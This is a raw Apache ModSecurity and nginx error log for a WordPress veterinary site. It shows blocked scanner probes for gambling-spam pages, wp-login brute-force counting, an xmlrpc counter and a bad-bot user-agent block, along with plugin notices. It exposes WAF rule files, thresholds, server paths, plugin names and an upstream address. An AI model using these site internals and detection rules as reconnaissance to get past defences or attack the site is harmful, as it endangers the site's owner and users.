[Tue Mar 10 08:02:53.557453 2026] [:error] [pid 13407:tid 13446] [client 54.38.38.130:39726] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aa9frdqN0GV-aESMjNyGVgAAAVQ"]
[Tue Mar 10 08:02:54.738271 2026] [:error] [pid 31981:tid 32134] [client 54.38.38.130:39736] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aa9frrAfo6Bks64fCDZzlQAAAIE"]
[Tue Mar 10 08:02:56.455079 2026] [:error] [pid 13407:tid 13434] [client 54.38.38.130:46258] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aa9fsNqN0GV-aESMjNyGWgAAAUg"]
[Tue Mar 10 08:02:57.267524 2026] [:error] [pid 31977:tid 32123] [client 54.38.38.130:46270] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aa9fsS_lkX6-Mo89SmHyDwAAAFI"]
[Tue Mar 10 08:02:58.909291 2026] [:error] [pid 13407:tid 13444] [client 54.38.38.130:46280] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aa9fstqN0GV-aESMjNyGXAAAAVI"]
[Tue Mar 10 08:02:59.760093 2026] [:error] [pid 31977:tid 32122] [client 54.38.38.130:46284] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aa9fsy_lkX6-Mo89SmHyEgAAAFE"]
[Tue Mar 10 08:03:01.804054 2026] [:error] [pid 31973:tid 32085] [client 54.38.38.130:46288] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aa9ftdQrmAcL67IqSToKfAAAABQ"]
[Tue Mar 10 08:03:02.739659 2026] [:error] [pid 13407:tid 13445] [client 54.38.38.130:46296] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aa9fttqN0GV-aESMjNyGYQAAAVM"]
[Tue Mar 10 08:03:04.434076 2026] [:error] [pid 37324:tid 37363] [client 54.38.38.130:46312] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aa9fuGVvKYS3ogzUMPdcwwAAARY"]
[Tue Mar 10 08:03:05.318508 2026] [:error] [pid 13407:tid 13430] [client 54.38.38.130:46314] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aa9fudqN0GV-aESMjNyGZAAAAUQ"]
[Tue Mar 10 08:03:07.359866 2026] [:error] [pid 31973:tid 32081] [client 54.38.38.130:38362] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aa9fu9QrmAcL67IqSToKfgAAABA"]
[Tue Mar 10 08:03:07.832237 2026] [:error] [pid 13407:tid 13450] [client 54.38.38.130:38370] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aa9fu9qN0GV-aESMjNyGagAAAVg"]
[Tue Mar 10 08:03:11.236575 2026] [:error] [pid 13407:tid 13444] [client 54.38.38.130:38376] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aa9fv9qN0GV-aESMjNyGbwAAAVI"]
[Tue Mar 10 08:03:14.004987 2026] [:error] [pid 13407:tid 13432] [client 54.38.38.130:38378] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aa9fwtqN0GV-aESMjNyGdQAAAUY"]
[Tue Mar 10 08:04:30.560669 2026] [:error] [pid 37324:tid 37343] [client 54.38.38.130:35002] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aa9gDmVvKYS3ogzUMPdc-wAAAQI"]
[Tue Mar 10 08:04:35.177783 2026] [:error] [pid 31981:tid 32144] [client 54.38.38.130:35006] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aa9gE7Afo6Bks64fCDZznQAAAIs"]
[Tue Mar 10 10:08:26.043545 2026] [:error] [pid 42730:tid 42746] [client 170.106.167.214:56372] [client 170.106.167.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aa99Gshla5zfkJ-81FAH4wAAAc4"]
[Tue Mar 10 12:06:03.796948 2026] [:error] [pid 39996:tid 40013] [client 143.44.165.253:22106] [client 143.44.165.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.44.165.253, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aa-Yq_5uf5_ai0O9BswSTwAAAAA"], referer: https://vetstars.com.au/wp-admin/admin.php?page=simple_history_admin_menu_page&date=lastdays:30
[Tue Mar 10 12:06:05.833997 2026] [:error] [pid 39996:tid 40028] [client 143.44.165.253:22106] [client 143.44.165.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.44.165.253, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aa-Yrf5uf5_ai0O9BswSVQAAAA8"], referer: https://vetstars.com.au/wp-admin/admin.php?page=simple_history_admin_menu_page&date=lastdays:30
[Tue Mar 10 12:17:44.189147 2026] [:error] [pid 42730:tid 42743] [client 188.166.1.212:61473] [client 188.166.1.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.166.1.212, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aa-baMhla5zfkJ-81FBRCQAAAcs"]
[Tue Mar 10 12:17:47.056899 2026] [:error] [pid 42759:tid 42771] [client 188.166.1.212:61930] [client 188.166.1.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.166.1.212, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aa-ba_oOpjBGGv-2UuxlXgAAAgk"]
[Tue Mar 10 12:37:14.436110 2026] [proxy_fcgi:error] [pid 39996:tid 40029] [client 103.4.122.14:59368] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Tue Mar 10 12:37:32.463065 2026] [proxy_fcgi:error] [pid 42759:tid 42768] [client 103.4.122.14:59446] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Trying to get property 'version' of non-object in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Tue Mar 10 12:39:05.281505 2026] [:error] [pid 42730:tid 42746] [client 188.166.1.212:56593] [client 188.166.1.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.166.1.212, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aa-gachla5zfkJ-81FBe1AAAAc4"]
[Tue Mar 10 12:46:36.176722 2026] [:error] [pid 42730:tid 42733] [client 188.166.1.212:54554] [client 188.166.1.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.166.1.212, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aa-iLMhla5zfkJ-81FBkEgAAAcE"]
[Tue Mar 10 12:56:38.374657 2026] [:error] [pid 42699:tid 42718] [client 188.166.1.212:52656] [client 188.166.1.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.166.1.212, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aa-khpeaKhygnC4iWD17SAAAAZE"]
[Tue Mar 10 14:01:36.045337 2026] [:error] [pid 39996:tid 40016] [client 142.93.230.139:58884] [client 142.93.230.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 142.93.230.139, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aa-zwP5uf5_ai0O9BswpDgAAAAM"]
[Tue Mar 10 14:01:39.247274 2026] [:error] [pid 39998:tid 40083] [client 142.93.230.139:59429] [client 142.93.230.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 142.93.230.139, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aa-zw40j9Ehux9Dpvl9RiAAAAI0"]
[Tue Mar 10 14:16:10.717460 2026] [:error] [pid 42759:tid 42771] [client 142.93.230.139:51446] [client 142.93.230.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 142.93.230.139, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aa-3KvoOpjBGGv-2UuyKMgAAAgk"]
[Tue Mar 10 14:19:52.044758 2026] [:error] [pid 42759:tid 42780] [client 142.93.230.139:61872] [client 142.93.230.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 142.93.230.139, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aa-4CPoOpjBGGv-2UuyLPQAAAhI"]
[Tue Mar 10 14:24:11.219796 2026] [:error] [pid 42666:tid 42673] [client 142.93.230.139:55246] [client 142.93.230.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 142.93.230.139, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aa-5C40d5emjo-Hs706YHAAAAQU"]
[Tue Mar 10 15:50:55.497020 2026] [:error] [pid 21316:tid 21322] [client 23.95.128.135:47592] [client 23.95.128.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.vetstars.com.au"] [uri "/feed/"] [unique_id "aa_NX5mAQfAZtna2rDyA9gAAAAI"]
[Tue Mar 10 16:35:55.470093 2026] [autoindex:error] [pid 21318:tid 21374] [client 139.59.32.166:56293] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Mar 10 17:05:59.487010 2026] [:error] [pid 21318:tid 21396] [client 123.30.233.48:46926] [client 123.30.233.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 123.30.233.48, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aa_e9xTTkPqKydpYiIKKGgAAAJY"]
[Tue Mar 10 17:06:02.231340 2026] [:error] [pid 21318:tid 21386] [client 123.30.233.48:38744] [client 123.30.233.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 123.30.233.48, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aa_e-hTTkPqKydpYiIKKHwAAAIw"]
[Tue Mar 10 17:27:56.084159 2026] [:error] [pid 21318:tid 21393] [client 188.165.217.198:53038] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aa_kHBTTkPqKydpYiIKURwAAAJM"]
[Tue Mar 10 17:28:06.512820 2026] [:error] [pid 21318:tid 21376] [client 143.44.165.253:1982] [client 143.44.165.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.44.165.253, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aa_kJhTTkPqKydpYiIKUUQAAAII"], referer: https://vetstars.com.au/wp-admin/users.php
[Tue Mar 10 17:28:19.719498 2026] [:error] [pid 63829:tid 63852] [client 188.165.217.198:59940] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aa_kMyf36W4aDbSUXc0INQAAARU"]
[Tue Mar 10 17:28:34.062773 2026] [:error] [pid 63829:tid 63832] [client 188.165.217.198:35868] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aa_kQif36W4aDbSUXc0IaAAAAQE"]
[Tue Mar 10 17:28:44.576474 2026] [:error] [pid 63829:tid 63836] [client 188.165.217.198:38788] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aa_kTCf36W4aDbSUXc0IeAAAAQU"]
[Tue Mar 10 17:30:53.164732 2026] [:error] [pid 21318:tid 21396] [client 188.165.217.198:42848] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aa_kzRTTkPqKydpYiIKVdQAAAJY"]
[Tue Mar 10 17:31:05.549724 2026] [:error] [pid 21318:tid 21384] [client 188.165.217.198:46144] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aa_k2RTTkPqKydpYiIKVhAAAAIo"]
[Tue Mar 10 17:31:23.099685 2026] [:error] [pid 63829:tid 63835] [client 188.165.217.198:49884] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aa_k6yf36W4aDbSUXc0JkQAAAQQ"]
[Tue Mar 10 17:33:39.429854 2026] [:error] [pid 21316:tid 21337] [client 188.165.217.198:55146] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aa_lc5mAQfAZtna2rDym9QAAABE"]
[Tue Mar 10 17:33:57.826631 2026] [:error] [pid 21316:tid 21320] [client 188.165.217.198:59712] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aa_lhZmAQfAZtna2rDym_wAAAAA"]
[Tue Mar 10 17:34:11.931046 2026] [:error] [pid 63829:tid 63834] [client 188.165.217.198:34802] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aa_lkyf36W4aDbSUXc0KngAAAQM"]
[Tue Mar 10 19:14:23.273039 2026] [:error] [pid 48041:tid 48060] [client 113.191.101.133:43350] [client 113.191.101.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aa_9D8lHlmjf-3oznxe60AAAAQ8"]
2026/03/10 20:42:42 [error] 3835#3835: *120031 upstream prematurely closed connection while reading response header from upstream, client: 147.135.213.27, server: vetstars.com.au, request: "GET /1234%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/1234%20slot.aspx", host: "vetstars.com.au"
[Tue Mar 10 20:42:42.127575 2026] [:error] [pid 3874:tid 3948] [client 147.135.213.27:37866] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1234%20slot.aspx"] [unique_id "abARwuK9H96QUJV_mxYawwAAAIk"]
[Tue Mar 10 20:42:44.438926 2026] [:error] [pid 3873:tid 3931] [client 147.135.213.27:37900] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/789%20slot.aspx"] [unique_id "abARxC_mXXwyT3XINroa8QAAAFM"]
2026/03/10 20:42:44 [error] 3835#3835: *120031 upstream prematurely closed connection while reading response header from upstream, client: 147.135.213.27, server: vetstars.com.au, request: "GET /789%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/789%20slot.aspx", host: "vetstars.com.au"
2026/03/10 22:03:57 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /pg%20joker.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20joker.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:03:57.618450 2026] [:error] [pid 3965:tid 3973] [client 81.167.26.57:52174] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "abAkzZN2nrVwtq9b0rbDEgAAAMY"]
2026/03/10 22:03:59 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /pg%20osaka.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20osaka.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:03:59.306297 2026] [:error] [pid 3874:tid 3961] [client 81.167.26.57:52204] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "abAkz-K9H96QUJV_mxY6cgAAAJY"]
